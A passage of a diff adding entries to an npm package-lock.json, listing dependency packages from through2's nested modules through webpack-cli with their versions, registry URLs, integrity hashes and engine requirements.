"dev": true + }, + "node_modules/through2/node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/through2/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "dev": true + }, + "node_modules/timsort": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=", + "peer": true + }, + "node_modules/tiny-invariant": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.2.0.tgz", + "integrity": "sha512-1Uhn/aqw5C6RI4KejVeTg6mIS7IqxnLJ8Mv2tV5rTc0qWobay7pDUz6Wi392Cnc8ak1H0F2cjoRzb2/AW4+Fvg==" + }, + "node_modules/tiny-warning": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", + "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==" + }, + "node_modules/tmp": { + "version": "0.0.33", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", + "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, + "dependencies": { + "os-tmpdir": "~1.0.2" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toggle-selection": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz", + "integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI=" + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/trim-newlines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", + "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/trough": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", + "integrity": "sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/ts-loader": { + "version": "9.2.8", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-9.2.8.tgz", + "integrity": "sha512-gxSak7IHUuRtwKf3FIPSW1VpZcqF9+MBrHOvBp9cjHh+525SjtCIJKVGjRKIAfxBwDGDGCFF00rTfzB1quxdSw==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "enhanced-resolve": "^5.0.0", + "micromatch": "^4.0.0", + "semver": "^7.3.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "typescript": "*", + "webpack": "^5.0.0" + } + }, + "node_modules/ts-loader/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/ts-loader/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ts-loader/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/ts-loader/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/ts-loader/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ts-loader/node_modules/semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/ts-loader/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "node_modules/tsparticles": { + "version": "1.43.0", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.43.0.tgz", + "integrity": "sha512-0r9hdGaImm0cxp6FraLgKUBJy03utZ2j2LaBZus6hSpPMnsP48UrJLQKmcgRRlGWeOUq6YI6WywpbSbSoA/cKA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/matteobruni" + }, + { + "type": "buymeacoffee", + "url": "https://www.buymeacoffee.com/matteobruni" + } + ], + "hasInstallScript": true + }, + "node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", + "dev": true, + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dev": true, + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dev": true, + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/typescript": { + "version": "4.6.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.6.3.tgz", + "integrity": "sha512-yNIatDa5iaofVozS/uQJEl3JRWLKKGJKh6Yaiv0GLGSuhpFJe7P3SbHZ8/yjAHRQwKRoA6YZqlfjXWmVzoVSMw==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/ua-parser-js": { + "version": "0.7.31", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.31.tgz", + "integrity": "sha512-qLK/Xe9E2uzmYI3qLeOmI0tEOt+TBBQyUIAh4aAgU05FVYzeZrKUdkAZfBNVGRaHVgV0TDkdEngJSw/SyQchkQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/ua-parser-js" + }, + { + "type": "paypal", + "url": "https://paypal.me/faisalman" + } + ], + "engines": { + "node": "*" + } + }, + "node_modules/uglify-js": { + "version": "3.4.10", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.10.tgz", + "integrity": "sha512-Y2VsbPVs0FIshJztycsO2SfPk7/KAF/T72qzv9u5EpQ4kB2hQoHlhNQTsNyy6ul7lQtqJN/AoWeS23OzEiEFxw==", + "dev": true, + "dependencies": { + "commander": "~2.19.0", + "source-map": "~0.6.1" + }, + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/uglify-js/node_modules/commander": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.19.0.tgz", + "integrity": "sha512-6tvAOO+D6OENvRAh524Dh9jcfKTYDQAqvqezbCW82xj5X0pSrcpxtvRKHLG0yBY6SD7PSDrJaj+0AiOcKVd1Xg==", + "dev": true + }, + "node_modules/uglify-js/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz", + "integrity": "sha512-tZU/3NqK3dA5gpE1KtyiJUrEB0lxnGkMFHptJ7q6ewdZ8s12QrODwNbhIJStmJkd1QDXa1NRA8aF2A1zk/Ypyw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "has-bigints": "^1.0.1", + "has-symbols": "^1.0.2", + "which-boxed-primitive": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/uncontrollable": { + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-7.2.1.tgz", + "integrity": "sha512-svtcfoTADIB0nT9nltgjujTi7BzVmwjZClOmskKu/E8FW9BXzg9os8OLr4f8Dlnk0rYWJIWr4wv9eKUXiQvQwQ==", + "dependencies": { + "@babel/runtime": "^7.6.3", + "@types/react": ">=16.9.11", + "invariant": "^2.2.4", + "react-lifecycles-compat": "^3.0.4" + }, + "peerDependencies": { + "react": ">=15.0.0" + } + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dev": true, + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz", + "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz", + "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unified": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.2.tgz", + "integrity": "sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ==", + "dev": true, + "dependencies": { + "bail": "^1.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^2.0.0", + "trough": "^1.0.0", + "vfile": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unified/node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/unist-util-find-all-after": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.2.tgz", + "integrity": "sha512-xaTC/AGZ0rIM2gM28YVRAFPIZpzbpDtU3dRmp7EXlNVA8ziQc4hY3H7BHXM1J49nEmiqc3svnqMReW+PGqbZKQ==", + "dev": true, + "dependencies": { + "unist-util-is": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz", + "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==", + "dev": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz", + "integrity": "sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", + "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/upper-case": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz", + "integrity": "sha1-9rRQHC7EzdJrp4vnIilh3ndiFZg=", + "dev": true + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", + "integrity": "sha1-ihagXURWV6Oupe7MWxKk+lN5dyw=", + "dev": true + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=", + "dev": true, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "dev": true + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/value-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-1.0.1.tgz", + "integrity": "sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vfile": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", + "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "is-buffer": "^2.0.0", + "unist-util-stringify-position": "^2.0.0", + "vfile-message": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz", + "integrity": "sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vis-data": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.4.tgz", + "integrity": "sha512-usy+ePX1XnArNvJ5BavQod7YRuGQE1pjFl+pu7IS6rCom2EBoG0o1ZzCqf3l5US6MW51kYkLR+efxRbnjxNl7w==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/visjs" + }, + "peerDependencies": { + "uuid": "^7.0.0 || ^8.0.0", + "vis-util": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/vis-network": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.1.2.tgz", + "integrity": "sha512-BdapguKg7sk3NvdZaDsM7T6rNhOBFz0/F4ZScxctK4klRzQPLQPTEcmbioXaZhMkkgWymzBR3lFCxL1q+eYyAw==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/visjs" + }, + "peerDependencies": { + "@egjs/hammerjs": "^2.0.0", + "component-emitter": "^1.3.0", + "keycharm": "^0.2.0 || ^0.3.0 || ^0.4.0", + "timsort": "^0.3.0", + "uuid": "^3.4.0 || ^7.0.0 || ^8.0.0", + "vis-data": "^7.0.0", + "vis-util": "^5.0.1" + } + }, + "node_modules/vis-util": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-5.0.3.tgz", + "integrity": "sha512-Wf9STUcFrDzK4/Zr7B6epW2Kvm3ORNWF+WiwEz2dpf5RdWkLUXFSbLcuB88n1W6tCdFwVN+v3V4/Xmn9PeL39g==", + "peer": true, + "engines": { + "node": ">=8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/visjs" + }, + "peerDependencies": { + "@egjs/hammerjs": "^2.0.0", + "component-emitter": "^1.3.0" + } + }, + "node_modules/warning": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", + "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/watchpack": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.3.1.tgz", + "integrity": "sha512-x0t0JuydIo8qCNctdDrn1OzH/qDzk2+rdCOC3YzumZ42fiMqmQ7T3xQurykYMhYfHaPHTp4ZxAx2NfUo1K6QaA==", + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dev": true, + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/webpack": { + "version": "5.72.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.72.0.tgz", + "integrity": "sha512-qmSmbspI0Qo5ld49htys8GY9XhS9CGqFoHTsOVAnjBdg0Zn79y135R+k4IR4rKK6+eKaabMhJwiVB7xw0SJu5w==", + "dependencies": { + "@types/eslint-scope": "^3.7.3", + "@types/estree": "^0.0.51", + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/wasm-edit": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1", + "acorn": "^8.4.1", + "acorn-import-assertions": "^1.7.6", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.9.2", + "es-module-lexer": "^0.9.0", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.9", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.1.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.1.3", + "watchpack": "^2.3.1", + "webpack-sources": "^3.2.3" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-cli": { + "version": "4.9.2", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.9.2.tgz", + "integrity": "sha512-m3/AACnBBzK/kMTcxWHcZFPrw/eQuY4Df1TxvIWfWM2x7mRqBQCqKEd96oCUa9jkapLBaFfRce33eGDb4Pr7YQ==", + "dev": true, + "dependencies": { + "@discoveryjs/json-ext": "^0.5.0", + "@webpack-cli/configtest": "^1.1.1", + "@webpack-cli/info": "^1.4.1", + "@webpack-cli/serve": "^1.6.1", + "colorette": "^2.0.14", + "commander": "^7.0.0", + "execa": "^5.0.0", + "fastest-levenshtein": "^1.0.12", + "import-local": "^3.0.2", + "interpret": "^2.2.0", + "rechoir": "^0.7.0", + "webpack-merge": "^5.7.3" + }, + "bin": { + "webpack-cli": "bin/cli.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "peerDependencies": { + "webpack": "4.x.x || 5.x.x" + }, + "peerDependenciesMeta": { + "@webpack-cli/generators": { + "optional": true + }, + "@webpack-cli/migrate": { + "optional": true + }, + "webpack-bundle-analyzer": { + "optional": true + }, + "webpack-dev-server": { + "optional": true + } + } + }, + "node_modules/webpack-cli/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": 